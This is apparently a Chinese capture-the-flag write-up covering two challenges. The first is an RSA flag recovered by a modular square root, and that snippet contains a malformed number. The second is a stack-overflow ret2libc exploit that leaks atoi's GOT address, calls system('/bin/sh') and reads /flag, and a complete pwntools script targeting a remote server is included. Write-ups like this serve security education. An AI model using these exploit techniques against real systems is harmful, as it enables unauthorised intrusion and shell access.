

ezRSA

审计得到加密指数为2，直接模下开方得到flag

```
from Crypto.Util.number import *
from sympy.ntheory.residue_ntheory import nthroot_mod

c, p= 412482079973710723630883700852439735510778695041476999618132433355695015420698005940640276732725312238673053581148641438494212320157665395208337575556385 , 13107939563507459774616204141253747489232063336204173944123263284507604328885f

print(long_to_bytes(nthroot_mod(c, 2, p)))

buggy (adapter) / . / . (debugpy (launcher) 50
b'flag{9971e255f0c020e8e57fbae75f43d7fb}'
```

inverse

审计代码，发现对输入字符数没有进行负数过滤，所以work存在栈溢出点

```
nbytes = read_int();
if ( (int)nbytes > 48 )
    return puts("To large!!!");
printf("leave me a msg:");
return read(0, buf, nbytes);
}
```

ROPgadget没找到int 0x80，所以考虑ret2libc，利用main中的puts泄露atoi的地址

```
.text:00049498 00 00 00 00      jmp     esp, 0
.text:00049498 8D 45 D8          lea     eax, [ebp+s]
.text:0004949E 50              push    eax
.text:0004949F E8 6C FC FF FF   call    _puts
.text:0004949F
.text:000494A4 83 C4 10          add     esp, 10h
.text:000494A7 83 EC 0C          sub     esp, 0Ch
.text:000494AA 8D 83 30 E0 FF FF lea     eax, (aInputWorl
.text:000494B0 50              push    eax
.text:000494B1 E8 3A FC FF FF   call    _printf
.text:000494B1
.text:000494B6 83 C4 10          add     esp, 10h
.text:000494B9 83 EC 08          sub     esp, 8
.text:000494BC 8D 83 3C 00 00 00 lea     eax, (tag - 804BF
.text:000494C2 50              push    eax
.text:000494C3 8D 83 42 E0 FF FF lea     eax, (a7s - 804BF
.text:000494C9 50              push    eax
.text:000494CA E8 71 FC FF FF   call    ___isoc99_scanf
```

之所以使用main函数中的puts，是方便再次进入work接收第二个payload

```
payload1 = p32(atoi_got + 0x28)*16 + p32(0x00049498) #atoi在ret后写入ebp中，图中s的值是-0x28，使ebp+s指向atoi的got表
```

构造payload来getshell

```
payload2 = b'a' * 64 + p32(system) + b'a' * 4 + p32(binsh)
```

得到flag

```
NX: NX enabled
PIE: No PIE (0x00400000)
b'\xe0\xe8\xde\xf7'
0xf7dee0e0
[*] Switching to interactive mode
\x1b\leave me a msg: cat /flag
b3a6b3ed56ab538365fd
```

完整exp:

```
#!/usr/bin/python3

from pwn import *

ip = "124.71.135.126:30047".split(":")

c = remote(ip[0], ip[1])
libc = ELF("./pwn.libc.so.6")
elf = ELF("./pwn")

atoi_got = elf.got["atoi"]

c.sendline(b'abc')
c.sendline(b'-1')

payload = p32(atoi_got + 0x28)*16 + p32(0x00049498)
c.recvuntil(b"msg:")
c.sendline(payload)
atoi_addr = u32(c.recv(4))

libcbase = atoi_addr - libc.symbols["atoi"]
system = libcbase + libc.symbols["system"]
binsh = libcbase + next(libc.search(b"/bin/sh"))

payload = b'a' * 64 + p32(system) + b'a'*4 + p32(binsh)
c.sendline(b'-1')
c.sendline(payload)
c.sendline(b'cat /flag')
c.interactive()
```